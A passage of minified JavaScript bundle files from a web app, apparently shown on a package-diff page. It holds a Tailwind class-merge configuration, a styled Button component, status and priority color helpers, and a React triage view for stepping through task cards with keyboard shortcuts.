end":w()}],"grid-flow":[{"grid-flow":[`row`,`col`,`dense`,`row-dense`,`col-dense`]}],"auto-cols":[{"auto-cols":ie()}],"auto-rows":[{"auto-rows":ie()}],gap:[{gap:x()}],"gap-x":[{"gap-x":x()}],"gap-y":[{"gap-y":x()}],"justify-content":[{justify:[...T(),`normal`]}],"justify-items":[{"justify-items":[...E(),`normal`]}],"justify-self":[{"justify-self":[`auto`,...E()]}],"align-content":[{content:[`normal`,...T()]}],"align-items":[{items:[...E(),{baseline:[``,`last`]}]}],"align-self":[{self:[`auto`,...E(),{baseline:[``,`last`]}]}],"place-content":[{"place-content":T()}],"place-items":[{"place-items":[...E(),`baseline`]}],"place-self":[{"place-self":[`auto`,...E()]}],p:[{p:x()}],px:[{px:x()}],py:[{py:x()}],ps:[{ps:x()}],pe:[{pe:x()}],pbs:[{pbs:x()}],pbe:[{pbe:x()}],pt:[{pt:x()}],pr:[{pr:x()}],pb:[{pb:x()}],pl:[{pl:x()}],m:[{m:D()}],mx:[{mx:D()}],my:[{my:D()}],ms:[{ms:D()}],me:[{me:D()}],mbs:[{mbs:D()}],mbe:[{mbe:D()}],mt:[{mt:D()}],mr:[{mr:D()}],mb:[{mb:D()}],ml:[{ml:D()}],"space-x":[{"space-x":x()}],"space-x-reverse":[`space-x-reverse`],"space-y":[{"space-y":x()}],"space-y-reverse":[`space-y-reverse`],size:[{size:O()}],"inline-size":[{inline:[`auto`,...k()]}],"min-inline-size":[{"min-inline":[`auto`,...k()]}],"max-inline-size":[{"max-inline":[`none`,...k()]}],"block-size":[{block:[`auto`,...A()]}],"min-block-size":[{"min-block":[`auto`,...A()]}],"max-block-size":[{"max-block":[`none`,...A()]}],w:[{w:[s,`screen`,...O()]}],"min-w":[{"min-w":[s,`screen`,`none`,...O()]}],"max-w":[{"max-w":[s,`screen`,`none`,`prose`,{screen:[o]},...O()]}],h:[{h:[`screen`,`lh`,...O()]}],"min-h":[{"min-h":[`screen`,`lh`,`none`,...O()]}],"max-h":[{"max-h":[`screen`,`lh`,...O()]}],"font-size":[{text:[`base`,n,Y,q]}],"font-smoothing":[`antialiased`,`subpixel-antialiased`],"font-style":[`italic`,`not-italic`],"font-weight":[{font:[r,Oe,ve]}],"font-stretch":[{"font-stretch":[`ultra-condensed`,`extra-condensed`,`condensed`,`semi-condensed`,`normal`,`semi-expanded`,`expanded`,`extra-expanded`,`ultra-expanded`,ue,K]}],"font-family":[{font:[Ce,ye,t]}],"font-features":[{"font-features":[K]}],"fvn-normal":[`normal-nums`],"fvn-ordinal":[`ordinal`],"fvn-slashed-zero":[`slashed-zero`],"fvn-figure":[`lining-nums`,`oldstyle-nums`],"fvn-spacing":[`proportional-nums`,`tabular-nums`],"fvn-fraction":[`diagonal-fractions`,`stacked-fractions`],tracking:[{tracking:[i,J,K]}],"line-clamp":[{"line-clamp":[V,`none`,J,_e]}],leading:[{leading:[a,...x()]}],"list-image":[{"list-image":[`none`,J,K]}],"list-style-position":[{list:[`inside`,`outside`]}],"list-style-type":[{list:[`disc`,`decimal`,`none`,J,K]}],"text-alignment":[{text:[`left`,`center`,`right`,`justify`,`start`,`end`]}],"placeholder-color":[{placeholder:j()}],"text-color":[{text:j()}],"text-decoration":[`underline`,`overline`,`line-through`,`no-underline`],"text-decoration-style":[{decoration:[...I(),`wavy`]}],"text-decoration-thickness":[{decoration:[V,`from-font`,`auto`,J,q]}],"text-decoration-color":[{decoration:j()}],"underline-offset":[{"underline-offset":[V,`auto`,J,K]}],"text-transform":[`uppercase`,`lowercase`,`capitalize`,`normal-case`],"text-overflow":[`truncate`,`text-ellipsis`,`text-clip`],"text-wrap":[{text:[`wrap`,`nowrap`,`balance`,`pretty`]}],indent:[{indent:x()}],"tab-size":[{tab:[H,J,K]}],"vertical-align":[{align:[`baseline`,`top`,`middle`,`bottom`,`text-top`,`text-bottom`,`sub`,`super`,J,K]}],whitespace:[{whitespace:[`normal`,`nowrap`,`pre`,`pre-line`,`pre-wrap`,`break-spaces`]}],break:[{break:[`normal`,`words`,`all`,`keep`]}],wrap:[{wrap:[`break-word`,`anywhere`,`normal`]}],hyphens:[{hyphens:[`none`,`manual`,`auto`]}],content:[{content:[`none`,J,K]}],"bg-attachment":[{bg:[`fixed`,`local`,`scroll`]}],"bg-clip":[{"bg-clip":[`border`,`padding`,`content`,`text`]}],"bg-origin":[{"bg-origin":[`border`,`padding`,`content`]}],"bg-position":[{bg:ae()}],"bg-repeat":[{bg:M()}],"bg-size":[{bg:oe()}],"bg-image":[{bg:[`none`,{linear:[{to:[`t`,`tr`,`r`,`br`,`b`,`bl`,`l`,`tl`]},H,J,K],radial:[``,J,K],conic:[H,J,K]},Ee,xe]}],"bg-color":[{bg:j()}],"gradient-from-pos":[{from:se()}],"gradient-via-pos":[{via:se()}],"gradient-to-pos":[{to:se()}],"gradient-from":[{from:j()}],"gradient-via":[{via:j()}],"gradient-to":[{to:j()}],rounded:[{rounded:P()}],"rounded-s":[{"rounded-s":P()}],"rounded-e":[{"rounded-e":P()}],"rounded-t":[{"rounded-t":P()}],"rounded-r":[{"rounded-r":P()}],"rounded-b":[{"rounded-b":P()}],"rounded-l":[{"rounded-l":P()}],"rounded-ss":[{"rounded-ss":P()}],"rounded-se":[{"rounded-se":P()}],"rounded-ee":[{"rounded-ee":P()}],"rounded-es":[{"rounded-es":P()}],"rounded-tl":[{"rounded-tl":P()}],"rounded-tr":[{"rounded-tr":P()}],"rounded-br":[{"rounded-br":P()}],"rounded-bl":[{"rounded-bl":P()}],"border-w":[{border:F()}],"border-w-x":[{"border-x":F()}],"border-w-y":[{"border-y":F()}],"border-w-s":[{"border-s":F()}],"border-w-e":[{"border-e":F()}],"border-w-bs":[{"border-bs":F()}],"border-w-be":[{"border-be":F()}],"border-w-t":[{"border-t":F()}],"border-w-r":[{"border-r":F()}],"border-w-b":[{"border-b":F()}],"border-w-l":[{"border-l":F()}],"divide-x":[{"divide-x":F()}],"divide-x-reverse":[`divide-x-reverse`],"divide-y":[{"divide-y":F()}],"divide-y-reverse":[`divide-y-reverse`],"border-style":[{border:[...I(),`hidden`,`none`]}],"divide-style":[{divide:[...I(),`hidden`,`none`]}],"border-color":[{border:j()}],"border-color-x":[{"border-x":j()}],"border-color-y":[{"border-y":j()}],"border-color-s":[{"border-s":j()}],"border-color-e":[{"border-e":j()}],"border-color-bs":[{"border-bs":j()}],"border-color-be":[{"border-be":j()}],"border-color-t":[{"border-t":j()}],"border-color-r":[{"border-r":j()}],"border-color-b":[{"border-b":j()}],"border-color-l":[{"border-l":j()}],"divide-color":[{divide:j()}],"outline-style":[{outline:[...I(),`none`,`hidden`]}],"outline-offset":[{"outline-offset":[V,J,K]}],"outline-w":[{outline:[``,V,Y,q]}],"outline-color":[{outline:j()}],shadow:[{shadow:[``,`none`,u,De,Se]}],"shadow-color":[{shadow:j()}],"inset-shadow":[{"inset-shadow":[`none`,d,De,Se]}],"inset-shadow-color":[{"inset-shadow":j()}],"ring-w":[{ring:F()}],"ring-w-inset":[`ring-inset`],"ring-color":[{ring:j()}],"ring-offset-w":[{"ring-offset":[V,q]}],"ring-offset-color":[{"ring-offset":j()}],"inset-ring-w":[{"inset-ring":F()}],"inset-ring-color":[{"inset-ring":j()}],"text-shadow":[{"text-shadow":[`none`,ee,De,Se]}],"text-shadow-color":[{"text-shadow":j()}],opacity:[{opacity:[V,J,K]}],"mix-blend":[{"mix-blend":[...ce(),`plus-darker`,`plus-lighter`]}],"bg-blend":[{"bg-blend":ce()}],"mask-clip":[{"mask-clip":[`border`,`padding`,`content`,`fill`,`stroke`,`view`]},`mask-no-clip`],"mask-composite":[{mask:[`add`,`subtract`,`intersect`,`exclude`]}],"mask-image-linear-pos":[{"mask-linear":[V]}],"mask-image-linear-from-pos":[{"mask-linear-from":L()}],"mask-image-linear-to-pos":[{"mask-linear-to":L()}],"mask-image-linear-from-color":[{"mask-linear-from":j()}],"mask-image-linear-to-color":[{"mask-linear-to":j()}],"mask-image-t-from-pos":[{"mask-t-from":L()}],"mask-image-t-to-pos":[{"mask-t-to":L()}],"mask-image-t-from-color":[{"mask-t-from":j()}],"mask-image-t-to-color":[{"mask-t-to":j()}],"mask-image-r-from-pos":[{"mask-r-from":L()}],"mask-image-r-to-pos":[{"mask-r-to":L()}],"mask-image-r-from-color":[{"mask-r-from":j()}],"mask-image-r-to-color":[{"mask-r-to":j()}],"mask-image-b-from-pos":[{"mask-b-from":L()}],"mask-image-b-to-pos":[{"mask-b-to":L()}],"mask-image-b-from-color":[{"mask-b-from":j()}],"mask-image-b-to-color":[{"mask-b-to":j()}],"mask-image-l-from-pos":[{"mask-l-from":L()}],"mask-image-l-to-pos":[{"mask-l-to":L()}],"mask-image-l-from-color":[{"mask-l-from":j()}],"mask-image-l-to-color":[{"mask-l-to":j()}],"mask-image-x-from-pos":[{"mask-x-from":L()}],"mask-image-x-to-pos":[{"mask-x-to":L()}],"mask-image-x-from-color":[{"mask-x-from":j()}],"mask-image-x-to-color":[{"mask-x-to":j()}],"mask-image-y-from-pos":[{"mask-y-from":L()}],"mask-image-y-to-pos":[{"mask-y-to":L()}],"mask-image-y-from-color":[{"mask-y-from":j()}],"mask-image-y-to-color":[{"mask-y-to":j()}],"mask-image-radial":[{"mask-radial":[J,K]}],"mask-image-radial-from-pos":[{"mask-radial-from":L()}],"mask-image-radial-to-pos":[{"mask-radial-to":L()}],"mask-image-radial-from-color":[{"mask-radial-from":j()}],"mask-image-radial-to-color":[{"mask-radial-to":j()}],"mask-image-radial-shape":[{"mask-radial":[`circle`,`ellipse`]}],"mask-image-radial-size":[{"mask-radial":[{closest:[`side`,`corner`],farthest:[`side`,`corner`]}]}],"mask-image-radial-pos":[{"mask-radial-at":v()}],"mask-image-conic-pos":[{"mask-conic":[V]}],"mask-image-conic-from-pos":[{"mask-conic-from":L()}],"mask-image-conic-to-pos":[{"mask-conic-to":L()}],"mask-image-conic-from-color":[{"mask-conic-from":j()}],"mask-image-conic-to-color":[{"mask-conic-to":j()}],"mask-mode":[{mask:[`alpha`,`luminance`,`match`]}],"mask-origin":[{"mask-origin":[`border`,`padding`,`content`,`fill`,`stroke`,`view`]}],"mask-position":[{mask:ae()}],"mask-repeat":[{mask:M()}],"mask-size":[{mask:oe()}],"mask-type":[{"mask-type":[`alpha`,`luminance`]}],"mask-image":[{mask:[`none`,J,K]}],filter:[{filter:[``,`none`,J,K]}],blur:[{blur:le()}],brightness:[{brightness:[V,J,K]}],contrast:[{contrast:[V,J,K]}],"drop-shadow":[{"drop-shadow":[``,`none`,f,De,Se]}],"drop-shadow-color":[{"drop-shadow":j()}],grayscale:[{grayscale:[``,V,J,K]}],"hue-rotate":[{"hue-rotate":[V,J,K]}],invert:[{invert:[``,V,J,K]}],saturate:[{saturate:[V,J,K]}],sepia:[{sepia:[``,V,J,K]}],"backdrop-filter":[{"backdrop-filter":[``,`none`,J,K]}],"backdrop-blur":[{"backdrop-blur":le()}],"backdrop-brightness":[{"backdrop-brightness":[V,J,K]}],"backdrop-contrast":[{"backdrop-contrast":[V,J,K]}],"backdrop-grayscale":[{"backdrop-grayscale":[``,V,J,K]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[V,J,K]}],"backdrop-invert":[{"backdrop-invert":[``,V,J,K]}],"backdrop-opacity":[{"backdrop-opacity":[V,J,K]}],"backdrop-saturate":[{"backdrop-saturate":[V,J,K]}],"backdrop-sepia":[{"backdrop-sepia":[``,V,J,K]}],"border-collapse":[{border:[`collapse`,`separate`]}],"border-spacing":[{"border-spacing":x()}],"border-spacing-x":[{"border-spacing-x":x()}],"border-spacing-y":[{"border-spacing-y":x()}],"table-layout":[{table:[`auto`,`fixed`]}],caption:[{caption:[`top`,`bottom`]}],transition:[{transition:[``,`all`,`colors`,`opacity`,`shadow`,`transform`,`none`,J,K]}],"transition-behavior":[{transition:[`normal`,`discrete`]}],duration:[{duration:[V,`initial`,J,K]}],ease:[{ease:[`linear`,`initial`,h,J,K]}],delay:[{delay:[V,J,K]}],animate:[{animate:[`none`,g,J,K]}],backface:[{backface:[`hidden`,`visible`]}],perspective:[{perspective:[p,J,K]}],"perspective-origin":[{"perspective-origin":ne()}],rotate:[{rotate:R()}],"rotate-x":[{"rotate-x":R()}],"rotate-y":[{"rotate-y":R()}],"rotate-z":[{"rotate-z":R()}],scale:[{scale:z()}],"scale-x":[{"scale-x":z()}],"scale-y":[{"scale-y":z()}],"scale-z":[{"scale-z":z()}],"scale-3d":[`scale-3d`],skew:[{skew:W()}],"skew-x":[{"skew-x":W()}],"skew-y":[{"skew-y":W()}],transform:[{transform:[J,K,``,`none`,`gpu`,`cpu`]}],"transform-origin":[{origin:ne()}],"transform-style":[{transform:[`3d`,`flat`]}],translate:[{translate:G()}],"translate-x":[{"translate-x":G()}],"translate-y":[{"translate-y":G()}],"translate-z":[{"translate-z":G()}],"translate-none":[`translate-none`],zoom:[{zoom:[H,J,K]}],accent:[{accent:j()}],appearance:[{appearance:[`none`,`auto`]}],"caret-color":[{caret:j()}],"color-scheme":[{scheme:[`normal`,`dark`,`light`,`light-dark`,`only-dark`,`only-light`]}],cursor:[{cursor:[`auto`,`default`,`pointer`,`wait`,`text`,`move`,`help`,`not-allowed`,`none`,`context-menu`,`progress`,`cell`,`crosshair`,`vertical-text`,`alias`,`copy`,`no-drop`,`grab`,`grabbing`,`all-scroll`,`col-resize`,`row-resize`,`n-resize`,`e-resize`,`s-resize`,`w-resize`,`ne-resize`,`nw-resize`,`se-resize`,`sw-resize`,`ew-resize`,`ns-resize`,`nesw-resize`,`nwse-resize`,`zoom-in`,`zoom-out`,J,K]}],"field-sizing":[{"field-sizing":[`fixed`,`content`]}],"pointer-events":[{"pointer-events":[`auto`,`none`]}],resize:[{resize:[`none`,``,`y`,`x`]}],"scroll-behavior":[{scroll:[`auto`,`smooth`]}],"scrollbar-thumb-color":[{"scrollbar-thumb":j()}],"scrollbar-track-color":[{"scrollbar-track":j()}],"scrollbar-gutter":[{"scrollbar-gutter":[`auto`,`stable`,`both`]}],"scrollbar-w":[{scrollbar:[`auto`,`thin`,`none`]}],"scroll-m":[{"scroll-m":x()}],"scroll-mx":[{"scroll-mx":x()}],"scroll-my":[{"scroll-my":x()}],"scroll-ms":[{"scroll-ms":x()}],"scroll-me":[{"scroll-me":x()}],"scroll-mbs":[{"scroll-mbs":x()}],"scroll-mbe":[{"scroll-mbe":x()}],"scroll-mt":[{"scroll-mt":x()}],"scroll-mr":[{"scroll-mr":x()}],"scroll-mb":[{"scroll-mb":x()}],"scroll-ml":[{"scroll-ml":x()}],"scroll-p":[{"scroll-p":x()}],"scroll-px":[{"scroll-px":x()}],"scroll-py":[{"scroll-py":x()}],"scroll-ps":[{"scroll-ps":x()}],"scroll-pe":[{"scroll-pe":x()}],"scroll-pbs":[{"scroll-pbs":x()}],"scroll-pbe":[{"scroll-pbe":x()}],"scroll-pt":[{"scroll-pt":x()}],"scroll-pr":[{"scroll-pr":x()}],"scroll-pb":[{"scroll-pb":x()}],"scroll-pl":[{"scroll-pl":x()}],"snap-align":[{snap:[`start`,`end`,`center`,`align-none`]}],"snap-stop":[{snap:[`normal`,`always`]}],"snap-type":[{snap:[`none`,`x`,`y`,`both`]}],"snap-strictness":[{snap:[`mandatory`,`proximity`]}],touch:[{touch:[`auto`,`none`,`manipulation`]}],"touch-x":[{"touch-pan":[`x`,`left`,`right`]}],"touch-y":[{"touch-pan":[`y`,`up`,`down`]}],"touch-pz":[`touch-pinch-zoom`],select:[{select:[`none`,`text`,`all`,`auto`]}],"will-change":[{"will-change":[`auto`,`scroll`,`contents`,`transform`,J,K]}],fill:[{fill:[`none`,...j()]}],"stroke-w":[{stroke:[V,Y,q,_e]}],stroke:[{stroke:[`none`,...j()]}],"forced-color-adjust":[{"forced-color-adjust":[`auto`,`none`]}]},conflictingClassGroups:{"container-named":[`container-type`],overflow:[`overflow-x`,`overflow-y`],overscroll:[`overscroll-x`,`overscroll-y`],inset:[`inset-x`,`inset-y`,`inset-bs`,`inset-be`,`start`,`end`,`top`,`right`,`bottom`,`left`],"inset-x":[`right`,`left`],"inset-y":[`top`,`bottom`],flex:[`basis`,`grow`,`shrink`],gap:[`gap-x`,`gap-y`],p:[`px`,`py`,`ps`,`pe`,`pbs`,`pbe`,`pt`,`pr`,`pb`,`pl`],px:[`pr`,`pl`],py:[`pt`,`pb`],m:[`mx`,`my`,`ms`,`me`,`mbs`,`mbe`,`mt`,`mr`,`mb`,`ml`],mx:[`mr`,`ml`],my:[`mt`,`mb`],size:[`w`,`h`],"font-size":[`leading`],"fvn-normal":[`fvn-ordinal`,`fvn-slashed-zero`,`fvn-figure`,`fvn-spacing`,`fvn-fraction`],"fvn-ordinal":[`fvn-normal`],"fvn-slashed-zero":[`fvn-normal`],"fvn-figure":[`fvn-normal`],"fvn-spacing":[`fvn-normal`],"fvn-fraction":[`fvn-normal`],"line-clamp":[`display`,`overflow`],rounded:[`rounded-s`,`rounded-e`,`rounded-t`,`rounded-r`,`rounded-b`,`rounded-l`,`rounded-ss`,`rounded-se`,`rounded-ee`,`rounded-es`,`rounded-tl`,`rounded-tr`,`rounded-br`,`rounded-bl`],"rounded-s":[`rounded-ss`,`rounded-es`],"rounded-e":[`rounded-se`,`rounded-ee`],"rounded-t":[`rounded-tl`,`rounded-tr`],"rounded-r":[`rounded-tr`,`rounded-br`],"rounded-b":[`rounded-br`,`rounded-bl`],"rounded-l":[`rounded-tl`,`rounded-bl`],"border-spacing":[`border-spacing-x`,`border-spacing-y`],"border-w":[`border-w-x`,`border-w-y`,`border-w-s`,`border-w-e`,`border-w-bs`,`border-w-be`,`border-w-t`,`border-w-r`,`border-w-b`,`border-w-l`],"border-w-x":[`border-w-r`,`border-w-l`],"border-w-y":[`border-w-t`,`border-w-b`],"border-color":[`border-color-x`,`border-color-y`,`border-color-s`,`border-color-e`,`border-color-bs`,`border-color-be`,`border-color-t`,`border-color-r`,`border-color-b`,`border-color-l`],"border-color-x":[`border-color-r`,`border-color-l`],"border-color-y":[`border-color-t`,`border-color-b`],translate:[`translate-x`,`translate-y`,`translate-none`],"translate-none":[`translate`,`translate-x`,`translate-y`,`translate-z`],"scroll-m":[`scroll-mx`,`scroll-my`,`scroll-ms`,`scroll-me`,`scroll-mbs`,`scroll-mbe`,`scroll-mt`,`scroll-mr`,`scroll-mb`,`scroll-ml`],"scroll-mx":[`scroll-mr`,`scroll-ml`],"scroll-my":[`scroll-mt`,`scroll-mb`],"scroll-p":[`scroll-px`,`scroll-py`,`scroll-ps`,`scroll-pe`,`scroll-pbs`,`scroll-pbe`,`scroll-pt`,`scroll-pr`,`scroll-pb`,`scroll-pl`],"scroll-px":[`scroll-pr`,`scroll-pl`],"scroll-py":[`scroll-pt`,`scroll-pb`],touch:[`touch-x`,`touch-y`,`touch-pz`],"touch-x":[`touch`],"touch-y":[`touch`],"touch-pz":[`touch`]},conflictingClassGroupModifiers:{"font-size":[`leading`]},postfixLookupClassGroups:[`container-type`],orderSensitiveModifiers:[`*`,`**`,`after`,`backdrop`,`before`,`details-content`,`file`,`first-letter`,`first-line`,`marker`,`placeholder`,`selection`]}});function Re(...e){return Le(i(e))}var Q={xs:`h-6`,sm:`h-7`,default:`h-8`,lg:`h-9`},$={xs:`size-6`,sm:`size-7`,default:`size-8`,lg:`size-9`},ze=t(),Be=s(`inline-flex shrink-0 items-center justify-center gap-2 rounded-md text-sm font-medium whitespace-nowrap transition-all outline-none focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50 disabled:pointer-events-none disabled:opacity-50 aria-invalid:border-destructive aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 [&_svg]:pointer-events-none [&_svg]:shrink-0 [&_svg:not([class*='size-'])]:size-4`,{variants:{variant:{default:`bg-primary text-primary-foreground hover:bg-primary/90`,destructive:`bg-destructive text-white hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:bg-destructive/60 dark:focus-visible:ring-destructive/40`,outline:`border bg-background shadow-xs hover:bg-accent hover:text-accent-foreground dark:border-input dark:bg-input/30 dark:hover:bg-input/50`,secondary:`bg-secondary text-secondary-foreground hover:bg-secondary/80`,ghost:`hover:bg-accent hover:text-accent-foreground dark:hover:bg-accent/50`,link:`text-primary underline-offset-4 hover:underline`},size:{xs:`${Q.xs} gap-1 px-2 text-xs has-[>svg]:px-1.5 [&_svg:not([class*='size-'])]:size-3`,sm:`${Q.sm} gap-1.5 px-2.5 text-xs has-[>svg]:px-2 [&_svg:not([class*='size-'])]:size-3.5`,default:`${Q.default} px-3 has-[>svg]:px-2.5`,lg:`${Q.lg} px-4 has-[>svg]:px-3.5`,"icon-xs":`${$.xs} [&_svg:not([class*='size-'])]:size-3`,"icon-sm":`${$.sm} [&_svg:not([class*='size-'])]:size-3.5`,icon:$.default,"icon-lg":$.lg}},defaultVariants:{variant:`default`,size:`default`}});function Ve({className:e,variant:t=`default`,size:r=`default`,asChild:i=!1,...a}){let o=i?n:`button`;return(0,ze.jsx)(o,{"data-slot":`button`,"data-variant":t,"data-size":r,className:Re(Be({variant:t,size:r,className:e})),...a})}function He(e){return`var(--status-${e})`}function Ue(e){return`var(--priority-${e})`}function We(e){return`var(--sev-${e})`}var Ge={current:`done`,draft:`doing`,stale:`doing`,superseded:`backlog`,archived:`backlog`,indexed:`backlog`,active:`done`,accepted:`done`,resolved:`done`,graduated:`done`,proposed:`doing`,open:`doing`,mitigated:`doing`,closed:`done`,rejected:`discarded`,expired:`backlog`,deprecated:`backlog`,released:`done`,unreleased:`doing`};function Ke(e){let t=Ge[e];return t?`var(--status-${t})`:`var(--status-${e in Je?e:`backlog`})`}function qe(e){switch(e){case`live`:return He(`doing`);case`held`:return He(`review`);case`stale`:return We(`warning`);case`orphaned`:return We(`error`);case`unclaimed`:return He(`backlog`)}}var Je={backlog:!0,next:!0,doing:!0,review:!0,blocked:!0,deferred:!0,done:!0,discarded:!0};function Ye(e){return e==null?``:e<1/60?`now`:e<1?`${Math.round(e*60)} min`:e<48?`${Math.round(e)} h`:`${Math.round(e/24)} d`}export{Ye as a,Q as c,s as d,We as i,$ as l,Ue as n,He as o,Ke as r,Ve as s,qe as t,Re as u}; |
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{$ as r,it as i,jt as a}from"./ui-primitives-C8uJIJg4.js";import{n as o,o as s,s as c,u as l}from"./theme-pTuib_xY.js";import{$ as u,A as d,D as f,E as p,O as m,T as h,a as g,b as _,k as v}from"./index-Db_ww4LG.js";import{t as y}from"./layout-QiuZ_k5v.js";import{t as b}from"./progress-BZw6czvL.js";var x=e(t(),1),S=n(),C=[{key:`N`,label:`Move to next`,status:`next`},{key:`D`,label:`Defer`,status:`deferred`},{key:`X`,label:`Discard`,status:`discarded`}];function w({tasks:e,repoRoot:t,repoUrl:n,onPatch:w,onOpen:T}){let[E,D]=(0,x.useState)(()=>new Set),[O,k]=(0,x.useState)(0),A=(0,x.useMemo)(()=>e.filter(e=>!E.has(e.id)),[E,e]),j=A[O]||A[0],M=e.length;(0,x.useEffect)(()=>{O>=A.length&&k(Math.max(0,A.length-1))},[O,A.length]);let N=(0,x.useCallback)(async(e,t=!0)=>{if(j){try{await w(j.id,e)}catch{return}t&&(D(e=>new Set(e).add(j.id)),k(e=>Math.min(e,Math.max(0,A.length-2))))}},[w,A.length,j]);(0,x.useEffect)(()=>{let e=e=>{if(e.ctrlKey||e.metaKey||e.altKey)return;let t=e.target;if([`INPUT`,`SELECT`,`TEXTAREA`].includes(t.tagName)||t.isContentEditable)return;let n=e.key.toUpperCase();if(n===`J`||e.key===`ArrowDown`)e.preventDefault(),k(e=>Math.min(A.length-1,e+1));else if(n===`K`||e.key===`ArrowUp`)e.preventDefault(),k(e=>Math.max(0,e-1));else if(/^[1-4]$/.test(n))e.preventDefault(),N({priority:g[Number(n)-1]},!1);else{let t=C.find(e=>e.key===n);t&&(e.preventDefault(),N({status:t.status}))}};return document.addEventListener(`keydown`,e),()=>document.removeEventListener(`keydown`,e)},[N,A.length]);let P=e=>n?`${n.replace(/\/+$/,``)}/blob/main/${e}`:`vscode://file${t}/${e}`;return j?(0,S.jsxs)(`div`,{className:`flex min-h-0 flex-1 flex-col overflow-y-auto`,children:[(0,S.jsxs)(`div`,{className:`flex flex-wrap items-center gap-x-2.5 gap-y-2 border-b bg-card px-3.5 py-2.5`,children:[(0,S.jsxs)(`div`,{className:`flex min-w-0 flex-1 basis-64 items-center gap-2.5`,children:[(0,S.jsx)(b,{value:M?E.size/M*100:0,className:`min-w-16 max-w-[340px] flex-1`}),(0,S.jsxs)(`span`,{className:`shrink-0 font-mono text-[11px] text-muted-foreground`,children:[E.size,` of `,M,` processed`]})]}),(0,S.jsxs)(`div`,{className:`ml-auto flex shrink-0 items-center gap-2.5`,children:[(0,S.jsxs)(c,{type:`button`,variant:`outline`,size:`sm`,disabled:O===0,onClick:()=>k(e=>Math.max(0,e-1)),children:[(0,S.jsx)(u,{className:`max-sm:hidden`,children:`K`}),`Previous`]}),(0,S.jsxs)(`span`,{className:`font-mono text-[11px] text-muted-foreground tabular-nums`,children:[O+1,` / `,A.length]}),(0,S.jsxs)(c,{type:`button`,variant:`outline`,size:`sm`,disabled:O>=A.length-1,onClick:()=>k(e=>Math.min(A.length-1,e+1)),children:[(0,S.jsx)(u,{className:`max-sm:hidden`,children:`J`}),`Next`]}),(0,S.jsxs)(c,{type:`button`,variant:`outline`,size:`sm`,title:`Open full card`,"aria-label":`Open full card`,className:`max-sm:size-7 max-sm:px-0`,onClick:()=>T(j.id),children:[(0,S.jsx)(i,{"aria-hidden":`true`}),(0,S.jsx)(`span`,{className:`max-sm:hidden`,children:`Open full card`})]})]})]}),(0,S.jsxs)(`div`,{className:l(y,`px-6 py-7 sm:px-8`),children:[(0,S.jsxs)(`div`,{className:`flex items-center gap-2 font-mono text-[11px] text-muted-foreground`,children:[(0,S.jsx)(`span`,{children:j.id}),(0,S.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,S.jsx)(`span`,{style:{color:s(j.status)},children:j.status}),(0,S.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,S.jsx)(`span`,{children:j.area}),(0,S.jsx)(`span`,{className:`text-muted-foreground/60`,children:`·`}),(0,S.jsx)(`span`,{children:j.type})]}),(0,S.jsx)(`h2`,{className:`mt-3 mb-1 text-[26px] leading-[1.2] font-semibold tracking-tight [text-wrap:pretty]`,children:j.title}),j.file?(0,S.jsx)(`a`,{className:`font-mono text-[11px] text-muted-foreground/70 underline underline-offset-[3px]`,href:P(j.file),target:n?`_blank`:void 0,rel:n?`noreferrer`:void 0,children:j.file}):null,j.source?(0,S.jsxs)(`span`,{className:`mt-[3px] block font-mono text-[11px] text-muted-foreground/70`,children:[`source`,` `,(0,S.jsx)(`a`,{className:`font-mono underline underline-offset-[3px]`,href:P(j.source),target:n?`_blank`:void 0,rel:n?`noreferrer`:void 0,children:j.source})]}):null,(0,S.jsx)(`div`,{className:`mt-[22px]`,children:(0,S.jsx)(_,{source:j.body,onOpen:T})}),(0,S.jsxs)(`div`,{className:`mt-[30px] flex flex-wrap gap-2 border-t pt-[18px]`,children:[g.map((e,t)=>(0,S.jsxs)(c,{type:`button`,variant:`outline`,size:`lg`,"aria-pressed":j.priority===e,style:j.priority===e?{borderColor:o(e)}:void 0,onClick:()=>void N({priority:e},!1),children:[(0,S.jsx)(u,{children:t+1}),(0,S.jsx)(`span`,{style:{color:o(e)},children:e})]},e)),C.map(e=>(0,S.jsxs)(c,{type:`button`,variant:`outline`,size:`lg`,onClick:()=>void N({status:e.status}),children:[(0,S.jsx)(u,{children:e.key}),(0,S.jsx)(`span`,{style:{color:s(e.status)},children:e.label})]},e.key))]}),(0,S.jsx)(`span`,{className:`mt-3.5 block text-xs text-muted-foreground`,children:`Every action writes the card's frontmatter to disk immediately. Shortcuts work while focus is outside a form.`})]})]}):(0,S.jsxs)(h,{className:`gap-3 p-10`,children:[(0,S.jsxs)(m,{children:[(0,S.jsx)(v,{children:(0,S.jsx)(a,{"aria-hidden":`true`,size:20,style:{color:s(`done`)}})}),(0,S.jsx)(d,{className:`text-sm`,children:`Queue clear`}),(0,S.jsxs)(f,{className:`text-[12.5px]`,children:[`You processed `,E.size.toLocaleString(),` cards.`]})]}),(0,S.jsx)(p,{children:(0,S.jsxs)(c,{type:`button`,variant:`outline`,size:`sm`,onClick:()=>{D(new Set),k(0)},children:[(0,S.jsx)(r,{"aria-hidden":`true`}),`Start again`]})})]})}export{w as TriageView}; |
Sorry, the diff of this file is too big to display
| import{n as e}from"./rolldown-runtime-CbXtAM7H.js";import{i as t,t as n}from"./react-Buq45Vzz.js";import{lt as r,yt as i}from"./ui-primitives-C8uJIJg4.js";import{r as a,s as o,u as s}from"./theme-pTuib_xY.js";import{G as c,P as l,et as u}from"./index-Db_ww4LG.js";var d=e(t(),1),f=[{id:`parent`,label:`parent`,declared:!0},{id:`depends`,label:`depends`,declared:!0},{id:`origin`,label:`origin`,declared:!0},{id:`supersedes`,label:`supersedes`,declared:!0},{id:`superseded_by`,label:`superseded by`,declared:!0},{id:`graduated_to`,label:`graduated to`,declared:!0},{id:`corrective_actions`,label:`corrective`,declared:!0},{id:`cards`,label:`cards`,declared:!0},{id:`decisions`,label:`decisions`,declared:!0},{id:`fragments`,label:`fragments`,declared:!0},{id:`related`,label:`related`,declared:!0},{id:`source`,label:`source`,declared:!0},{id:`wikilink`,label:`wiki link`,declared:!1},{id:`markdown`,label:`md link`,declared:!1},{id:`mention`,label:`mention`,declared:!1}],p=new 